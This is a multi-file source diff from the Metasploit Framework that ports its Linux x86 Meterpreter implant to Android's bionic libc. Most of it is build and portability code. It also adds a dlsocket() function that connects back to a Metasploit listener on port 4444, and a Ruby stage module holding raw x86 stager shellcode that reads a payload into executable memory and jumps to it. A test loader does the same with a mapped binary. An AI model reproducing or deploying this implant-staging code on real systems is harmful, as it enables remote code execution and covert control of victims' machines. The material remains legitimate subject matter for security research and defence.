@ -688,14 +941,20 @@ DWORD request_sys_process_get_info(Remote *remote, Packet *packet)
DWORD process_channel_read(Channel *channel, Packet *request,
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead)
{
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
DWORD result = ERROR_SUCCESS;
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
dprintf( "[PROCESS] process_channel_read. channel=0x%08X, ctx=0x%08X", channel, ctx );
#ifdef _WIN32
if (!ReadFile(ctx->pStdout, buffer, bufferSize, bytesRead, NULL))
result = GetLastError();
#else
if((*bytesRead = read(ctx->pStdout, buffer, bufferSize) < 0)) {
result = GetLastError();
}
#endif
return result;
}
@ -710,10 +969,15 @@ DWORD process_channel_write(Channel *channel, Packet *request,
DWORD result = ERROR_SUCCESS;
dprintf( "[PROCESS] process_channel_write. channel=0x%08X, ctx=0x%08X", channel, ctx );
#ifdef _WIN32
if (!WriteFile(ctx->pStdin, buffer, bufferSize, bytesWritten, NULL))
result = GetLastError();
#else
if((*bytesWritten = write(ctx->pStdin, buffer, bufferSize)) < 0) {
result = GetLastError();
}
#endif
return result;
}
@ -722,22 +986,25 @@ DWORD process_channel_write(Channel *channel, Packet *request,
*/
DWORD process_channel_close(Channel *channel, Packet *request, LPVOID context)
{
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
DWORD result = ERROR_SUCCESS;
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
dprintf( "[PROCESS] process_channel_close. channel=0x%08X, ctx=0x%08X", channel, ctx );
if (channel_is_interactive(channel))
scheduler_remove_waitable(ctx->pStdout);
#ifdef _WIN32
// Note: We dont close the handle ctx->pStdout as this will introduce a synchronization
// problem with the channels interactive thread, specifically the call to WaitForMultipleObjects
// will have undefined behaviour. The interactive thread will close the handle instead.
CloseHandle(ctx->pStdin);
#else
close(ctx->pStdin);
#endif
free(ctx);
return result;
}
@ -747,10 +1014,13 @@ DWORD process_channel_close(Channel *channel, Packet *request, LPVOID context)
*/
DWORD process_channel_interact_notify(Remote *remote, Channel *channel)
{
ProcessChannelContext *ctx = (ProcessChannelContext *)channel->ops.stream.native.context;
DWORD bytesRead, bytesAvail = 0;
CHAR buffer[16384];
DWORD result = ERROR_SUCCESS;
#ifdef _WIN32
if( PeekNamedPipe( ctx->pStdout, NULL, 0, NULL, &bytesAvail, NULL ) )
{
if( bytesAvail )
@ -767,14 +1037,38 @@ DWORD process_channel_interact_notify(Remote *remote, Channel *channel)
Sleep( 100 );
}
}
#else
bytesRead = read ( ctx->pStdout, buffer, sizeof(buffer) - 1);
if ( bytesRead > 0 )
{
dprintf("[%s] bytesRead: %d, errno: %d", __FUNCTION__, bytesRead, errno);
result = channel_write ( channel, remote, NULL, 0, buffer, bytesRead, NULL );
}
if(bytesRead == -1) {
if(errno == EINTR || errno == EWOULDBLOCK || errno == EAGAIN) {
errno = ERROR_SUCCESS;
}
}
if(bytesRead == 0) {
errno = ECONNRESET;
}
if(bytesRead <= 0) result = errno;
#endif
if( GetLastError() != ERROR_SUCCESS )
{
dprintf("Closing down socket: errno: %d\n", errno);
process_channel_close( channel, NULL, ctx );
channel_close( channel, remote, NULL, 0, NULL );
}
return ERROR_SUCCESS;
return result;
}
/*
@ -808,12 +1102,19 @@ DWORD request_sys_process_wait(Remote *remote, Packet *packet)
DWORD result = ERROR_INVALID_PARAMETER;
handle = (HANDLE)packet_get_tlv_value_uint( packet, TLV_TYPE_HANDLE );
#ifdef _WIN32
if( handle )
{
if( WaitForSingleObject( handle, INFINITE ) == WAIT_OBJECT_0 )
result = ERROR_SUCCESS;
}
#else
if( ! waitpid(handle, NULL, WNOHANG))
{
result = ERROR_SUCCESS;
}
#endif
packet_transmit_response( result, remote, response );
return result;

View File

@ -0,0 +1,15 @@
#!/bin/sh
OSSL=openssl-0.9.8o
pushd $OSSL
./Configure threads no-zlib no-krb5 386 --prefix=/tmp/out linux-msf no-dlfcn shared
popd
export LIBC=../../bionic/libc
export LIBM=../../bionic/libm
export COMPILED=../../bionic/compiled
export CFLAGS="-I ${LIBC}/include -I ${LIBC}/kernel/common/linux/ -I ${LIBC}/kernel/common/ -I ${LIBC}/arch-x86/include/ -I ${LIBC}/kernel/arch-x86/ -I${LIBC}/private -fPIC -DPIC -nostdinc -nostdlib -Dwchar_t='char' -fno-builtin -D_SIZE_T_DECLARED -DElf_Size='u_int32_t' -I${LIBM}/include -L${COMPILED} -D_BYTE_ORDER=_LITTLE_ENDIAN -lc"
make -C $OSSL depend clean all

View File

@ -1,12 +1,19 @@
CFLAGS=-I${PWD}/hack
CFLAGS+= -I /opt/bionic/libc/include -I /opt/bionic/libc/kernel/common/linux/ -I /opt/bionic/libc/kernel/common/ -I /opt/bionic/libc/arch-x86/include/
CFLAGS+= -I /opt/bionic/libc/kernel/arch-x86/ -I../../source/server/elf/headers -I/opt/bionic/libc/private -fPIC -DPIC
CFLAGS+= -I ../../bionic/libc/include -I ../../bionic/libc/kernel/common/linux/ -I ../../bionic/libc/kernel/common/ -I ../../bionic/libc/arch-x86/include/
CFLAGS+= -I ../../bionic/libc/kernel/arch-x86/ -I../../source/server/elf/headers -I../../bionic/libc/private -fPIC -DPIC
CFLAGS+= -nostdinc -nostdlib -Dwchar_t="char" -fno-builtin -D_SIZE_T_DECLARED -DElf_Size="u_int32_t" -DANDROID_X86_LINKER -ggdb
CFLAGS+= -DMETSRV_RTLD -D_BYTE_ORDER=_LITTLE_ENDIAN
OBJ=msflinker.o basic_libc.o syscall.o linker_format.o dlfcn.o zlib.o metsrv_rtld.o
all: $(OBJ)
gcc $(CFLAGS) -shared -o msflinker.so ${OBJ}
all: msflinker msflinker.bin rtldtest
msflinker: $(OBJ)
gcc -Wl,-script=script $(CFLAGS) -o msflinker $(OBJ) -lgcc
msflinker.bin: msflinker elf2bin.c
gcc -o elf2bin elf2bin.c
./elf2bin
libc.h: ../../bionic/compiled/libc.so
../../../tools/so2h.pl ../../bionic/compiled/libc.so libc
@ -23,13 +30,13 @@ libssl.h: ../../bionic/compiled/libssl.so
libsupport.h: ../../bionic/compiled/libsupport.so
../../../tools/so2h.pl ../../bionic/compiled/libsupport.so libsupport
metsrv_main.h: ../../bionic/compiled/metsrv_main
../../../tools/so2h.pl ../../bionic/compiled/metsrv_main metsrv_main
libmetsrv_main.h: ../../bionic/compiled/libmetsrv_main.so
../../../tools/so2h.pl ../../bionic/compiled/libmetsrv_main.so libmetsrv_main
metsrv_rtld.o: libc.h libm.h libcrypto.h libssl.h metsrv_main.h libsupport.h
metsrv_rtld.o: libc.h libm.h libcrypto.h libssl.h libmetsrv_main.h libsupport.h
test: $(OBJ)
gcc $(CFLAGS) -o msflinker $(OBJ) -lgcc
rtldtest: rtldtest.c msflinker
gcc -o rtldtest rtldtest.c -DEP=`objdump -f msflinker | grep start | awk '{ print $$3 }'`
.s.o:
gcc $(CFLAGS) -c $<
@ -38,7 +45,7 @@ test: $(OBJ)
gcc $(CFLAGS) -c $<
clean:
rm metsrv_main.h libssl.h libcrypto.h libm.h libc.h
rm *.o
rm msflinker msflinker.so
rm -f libmetsrv_main.h libssl.h libcrypto.h libm.h libc.h libsupport.h
rm -f *.o
rm -f msflinker msflinker.so
rm -f rtldtest elf2bin

View File

@ -90,11 +90,9 @@ char *strcpy(char *dest, const char *src)
int strcmp(const char *s1, const char *s2)
{
do {
if(*s1++ != *s2++) {
return (*(const unsigned char *)(s1-1) -
*(const unsigned char *)(s2-1));
}
} while(*s1 != 0);
return 0;
for(; *s1 == *s2; ++s1, ++s2) {
if(*s1 == 0) return 0;
}
return *(unsigned char *)s1 - *(unsigned char *)s2;
}

View File

@ -0,0 +1,87 @@
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <elf.h>
#define EIGHTMEM (32 * 1024 * 1024)
#define BASE 0x90040000
int main(int argc, char **argv)
{
int fd;
struct stat statbuf;
unsigned char *data; // ELF file
unsigned char *mapping; // target memory location
Elf32_Ehdr *ehdr;
Elf32_Phdr *phdr;
int i;
int used = 0;
unsigned char *source, *dest;
int len;
int (*fp)();
fd = open("msflinker", O_RDONLY);
if(fd == -1) {
printf("Failed to open msflinker: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
if(fstat(fd, &statbuf) == -1) {
printf("Failed to fstat(fd): %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
data = mmap(NULL, statbuf.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if(data == MAP_FAILED) {
printf("Unable to read ELF file in: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
close(fd);
mapping = mmap(BASE, EIGHTMEM, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
if(mapping == MAP_FAILED) {
printf("Failed to mmap(): %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
ehdr = (Elf32_Ehdr *)data;
phdr = (Elf32_Phdr *)(data + ehdr->e_phoff);
printf("data @ %08x, mapping @ %08x\n", data, mapping);
for(i = 0; i < ehdr->e_phnum; i++, phdr++) {
if(phdr->p_type == PT_LOAD) {
source = data + (phdr->p_offset & ~4095);
dest = mapping + ((phdr->p_vaddr - BASE) & ~4095);
len = phdr->p_filesz + (phdr->p_vaddr & 4095);
printf("memcpy(%08x, %08x, %08x)\n", dest, source, len);
memcpy(dest, source, len);
used += (phdr->p_memsz + (phdr->p_vaddr & 4095) + 4095) & ~4095 ;
}
}
fd = open("msflinker.bin", O_RDWR|O_TRUNC|O_CREAT, 0644);
if(fd == -1) {
printf("Unable to dump memory: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
if(write(fd, mapping, used) != used) {
printf("Unable to complete memory dump\n");
exit(EXIT_FAILURE);
}
close(fd);
}

View File

@ -9,6 +9,13 @@
#include <fcntl.h>
#include <errno.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <signal.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <endian.h>
#include "linker.h"
#include "linker_debug.h"
@ -19,7 +26,7 @@
#include "libcrypto.h"
#include "libssl.h"
#include "libsupport.h"
#include "metsrv_main.h"
#include "libmetsrv_main.h"
struct libs {
char *name;
@ -34,7 +41,7 @@ static struct libs libs[] = {
{ "libcrypto.so.0.9.8", libcrypto, libcrypto_length, NULL },
{ "libssl.so.0.9.8", libssl, libssl_length, NULL },
{ "libsupport.so", libsupport, libsupport_length, NULL },
{ "metsrv_main", metsrv_main, metsrv_main_length, NULL },
{ "libmetsrv_main.so", libmetsrv_main, libmetsrv_main_length, NULL },
};
#define LIBC_IDX 0
@ -46,13 +53,16 @@ static struct libs libs[] = {
* that's what the API has.
*/
unsigned metsrv_rtld(int fd, void *base)
int dlsocket(void *libc);
unsigned metsrv_rtld(int fd)
{
int i;
int (*libc_init_common)();
int (*server_setup)();
struct stat statbuf;
INFO("[ preparing to link. base @ %08x, and fd = %d ]\n", base, fd);
INFO("[ preparing to link. fd = %d ]\n", fd);
for(i = 0; i < sizeof(libs) / sizeof(struct libs); i++) {
libs[i].handle = (void *) dlopenbuf(libs[i].name, libs[i].buf, libs[i].size);
@ -66,6 +76,15 @@ unsigned metsrv_rtld(int fd, void *base)
TRACE("[ __libc_init_common is at %08x, calling ]\n", libc_init_common);
libc_init_common();
if(fstat(fd, &statbuf) == -1) {
TRACE("[ supplied fd fails fstat() check, using dlsocket() ]\n");
fd = dlsocket(libs[LIBC_IDX].handle);
if(fd == -1) {
TRACE("[ failed to dlsocket() a connection. exit()ing ]\n");
exit(-1);
}
}
server_setup = dlsym(libs[METSRV_IDX].handle, "server_setup");
TRACE("[ metsrv server_setup is at %08x, calling ]\n", server_setup);
server_setup(fd);
@ -74,6 +93,44 @@ unsigned metsrv_rtld(int fd, void *base)
exit(1);
}
/*
* If we have been executed directly (instead of staging shellcode /
* rtldtest binary, we will have an invalid fd passed in. Here we
* use the libc symbols to connect to the metasploit session
*/
int dlsocket(void *libc)
{
int retcode = -1;
int fd;
int (*libc_socket)();
int (*libc_connect)();
int (*libc_inet_addr)();
struct sockaddr_in sin;
libc_socket = dlsym(libc, "socket");
libc_connect = dlsym(libc, "connect");
libc_inet_addr = dlsym(libc, "inet_addr");
memset(&sin, 0, sizeof(struct sockaddr_in));
do {
fd = libc_socket(AF_INET, SOCK_STREAM, 0);
if(fd == -1) break;
sin.sin_addr.s_addr = libc_inet_addr("127.0.0.1");
sin.sin_port = htons(4444);
sin.sin_family = AF_INET;
if(libc_connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) break;
retcode = fd;
} while(0);
return retcode;
}
/*
* If we are compiled into an executable, we'll start here. I can't be
* bothered adding socketcall() wrappers for bind / accept / connect / crap, so
@ -81,8 +138,16 @@ unsigned metsrv_rtld(int fd, void *base)
*
*/
void _start()
void sigchld(int signo)
{
// meh, use bash.
metsrv_rtld(5, NULL);
waitpid(-1, NULL, WNOHANG);
}
void _start(int fd)
{
signal(SIGCHLD, sigchld);
signal(SIGPIPE, SIG_IGN);
// we can't run ./msflinker directly. Use rtldtest to test the code
metsrv_rtld(fd);
}

View File

@ -0,0 +1,44 @@
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>
unsigned char *mapping;
int main(int argc, char **argv)
{
int fd;
struct stat statbuf;
int (*fp)();
fd = open("msflinker.bin", O_RDONLY);
if(fd == -1) {
printf("Failed to open msflinker: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
if(fstat(fd, &statbuf) == -1) {
printf("Failed to fstat(fd): %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
// mapping = mmap(0x90040000, statbuf.st_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
mapping = mmap(0x90040000, statbuf.st_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_PRIVATE, fd, 0);
if(mapping == MAP_FAILED || mapping != 0x90040000) {
printf("Failed to mmap(): %s (%08x) \n", strerror(errno), mapping);
exit(EXIT_FAILURE);
}
fp = (unsigned int)EP;
printf("entry point ahoy @ %08x!\n", fp); fflush(stdout);
fp(5);
printf("entry point retured\n");
}

View File

@ -161,6 +161,15 @@ static LONG server_socket_poll( Remote * remote, long timeout )
result = select( fd + 1, &fdread, NULL, NULL, &tv );
#ifndef _WIN32
// Handle EAGAIN, etc.
if(result == -1) {
if(errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK) {
result = 0;
}
}
#endif
lock_release( remote->lock );
return result;

View File

@ -25,7 +25,7 @@ AR=ar
RM=rm
objects = args.o base.o base_dispatch.o base_dispatch_common.o buffer.o \
channel.o common.o core.o list.o remote.o scheduler.o thread.o xor.o zlib/zlib.o
channel.o common.o core.o list.o remote.o thread.o xor.o zlib/zlib.o # scheduler.o

View File

@ -1,16 +1,30 @@
VPATH=../../source/extensions/posix_sample
CFLAGS= -fPIC -Os -I../../source/common -I../../source/openssl/include -D_UNIX
OPENSSL=../../source/openssl/include
COMMON=../../source/common
SERVER=../../source/server
CFLAGS=-fno-stack-protector -nostdinc -nostdlib -fPIC -DPIC -g -Wall
CFLAGS+=-D_UNIX -D__linux__
CFLAGS+=-I${COMMON} -I${SERVER} -I${OPENSSL}
CFLAGS+= -I ../../source/bionic/libc/include -I ../../source/bionic/libc/kernel/common/linux/ -I ../../source/bionic/libc/kernel/common/ -I ../../source/bionic/libc/arch-x86/include/
CFLAGS+= -I ../../source/bionic/libc/kernel/arch-x86/
CFLAGS+= -Dwchar_t="char" -fno-builtin -D_SIZE_T_DECLARED -DElf_Size="u_int32_t"
CFLAGS+= -D_BYTE_ORDER=_LITTLE_ENDIAN
CFLAGS+= -lgcc -L../../source/bionic/compiled -gstabs+
CFLAGS+= -fPIC -Os
CFLAGS+= -I../../source/extensions/stdapi/server -lc -lsupport
objects = test.o
all: posix_sample.so
posix_sample.so: test.o
$(LD) -Bshareable -o $@ $(objects)
gcc -shared $(CFLAGS) -o $@ $(objects)
# And, once done:
# copy posix_sample.so to data/meterpreter/ext_server_posix_sample.lso and "use posix_sample"
.PHONY: clean
clean:
rm -f *.o *.so *~
rm -f *.o *.so *~

View File

@ -13,7 +13,7 @@ CFLAGS+= -Dwchar_t="char" -fno-builtin -D_SIZE_T_DECLARED -DElf_Size="u_int32_t"
CFLAGS+= -D_BYTE_ORDER=_LITTLE_ENDIAN
CFLAGS+= -lgcc -L../../source/bionic/compiled -gstabs+
CFLAGS+= -fPIC -Os
CFLAGS+= -I../../source/extensions/stdapi/server -lc -lsupport
CFLAGS+= -I../../source/extensions/stdapi/server -lc -lsupport -lmetsrv_main
#LDFLAGS= -fPIC -Bshareable -lc
@ -26,16 +26,17 @@ endif
objects = server/general.o server/stdapi.o server/fs/dir.o server/fs/file.o \
server/fs/fs_util.o \
server/net/socket/tcp.o server/net/socket/tcp_server.o server/net/socket/udp.o
# server/net/config/interface.o
# server/net/config/route.o \
server/net/socket/tcp.o server/net/socket/tcp_server.o server/net/socket/udp.o \
server/sys/config/config.o server/sys/process/process.o
#server/net/config/interface.o \
#server/net/config/route.o \
all: ext_server_stdapi.so
ext_server_stdapi.so: $(objects)
$(CC) -shared $(CFLAGS) -o $@ $(objects)
$(CC) -shared $(CFLAGS) -o $@ $(objects)
.PHONY: clean

View File

@ -21,10 +21,10 @@ VPATH=$(BASEVPATH):$(OSVPATH):$(ARCHVPATH)
objects= metsrv.o scheduler.o
objects+= server_setup.o remote_dispatch_common.o remote_dispatch.o # metsrv_main.o
all: metsrv_main
all: libmetsrv_main.so
metsrv_main: $(objects)
$(CC) -pie $(CFLAGS) -o $@ $(objects) -export-dynamic -lc -lcrypto -lssl -lgcc -ldl -lsupport
libmetsrv_main.so: $(objects)
$(CC) -shared $(CFLAGS) -o $@ $(objects) -export-dynamic -lc -lcrypto -lssl -lgcc -ldl -lsupport
clean:
@echo "ARCHVPATH= " $(ARCHVPATH) " VPATH= " $(VPATH)

View File

@ -0,0 +1,106 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/base/sessions/meterpreter_x86_linux'
require 'msf/base/sessions/meterpreter_options'
require 'rex/elfparsey'
module Metasploit3
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux Meterpreter',
'Version' => '$Revision$',
'Description' => 'Staged meterpreter server',
'Author' => ['PKS', 'egypt'],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_x86_Linux))
end
def elf_ep(payload)
elf = Rex::ElfParsey::Elf.new( Rex::ImageSource::Memory.new( payload ) )
ep = elf.elf_header.e_entry
return ep
end
def elf2bin(payload)
# XXX, not working. Use .c version
# This code acts as a mini elf parser / memory layout linker.
# It will return what a elf file looks like once loaded in memory
mem = "\x00" * (4 * 1024 * 1024)
used = 0
elf = Rex::ElfParsey::Elf.new( Rex::ImageSource::Memory.new( payload ) )
elf.program_header.each { |hdr|
if(hdr.p_type == Rex::ElfParsey::ElfBase::PT_LOAD)
print_status("Found PT_LOAD")
fileidx = hdr.p_offset & (~4095)
memidx = (hdr.p_vaddr & (~4095)) - elf.base_addr
len = hdr.p_filesz + (hdr.p_vaddr & 4095)
mem[memidx,memidx+len] = payload[fileidx,fileidx+len] # should result in a single memcpy call :D
used += (hdr.p_memsz + (hdr.p_vaddr & 4095) + 4095) & ~4095
end
}
# Maybe at some stage zero out elf header / program headers in case tools
# try to look for them
print_status("Converted ELF file to memory layout, #{payload.length} to #{used} bytes")
return mem[0, used]
end
def handle_intermediate_stage(conn, payload)
# Does a mmap() / read() loop of a user specified length, then
# jumps to the entry point (the \x5a's)
midstager =
"\x81\xc4\x54\xf2\xff\xff\x6a\x04\x5a\x89\xe1\x89\xfb\x6a\x03\x58" +
"\xcd\x80\x57\xb8\xc0\x00\x00\x00\xbb\x00\x00\x04\x90\x8b\x4c\x24" +
"\x04\x6a\x07\x5a\x6a\x32\x5e\x31\xff\x89\xfd\x4f\xcd\x80\x3d\x7f" +
"\xff\xff\xff\x72\x05\x31\xc0\x40\xcd\x80\x87\xd1\x87\xd9\x5b\x6a" +
"\x03\x58\xcd\x80\x3d\x7f\xff\xff\xff\x77\xea\x85\xc0\x74\xe6\x01" +
"\xc1\x29\xc2\x75\xea\x53\xb8\x5a\x5a\x5a\x5a\xff\xd0\xe9\xd3\xff" +
"\xff\xff"
# Patch entry point in properly.
# Patch in base ?
midstager = midstager.sub("ZZZZ", [ elf_ep(payload) ].pack('V'))
print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)")
conn.put(midstager)
Rex::ThreadSafe.sleep(3)
# Send length of payload
conn.put([ payload.length ].pack('V'))
return true
end
def generate_stage
#file = File.join(Msf::Config.data_directory, "msflinker_linux_x86.elf")
file = File.join(Msf::Config.data_directory, "msflinker_linux_x86.bin")
met = File.open(file, "rb") {|f|
f.read(f.stat.size)
}
return met
end
end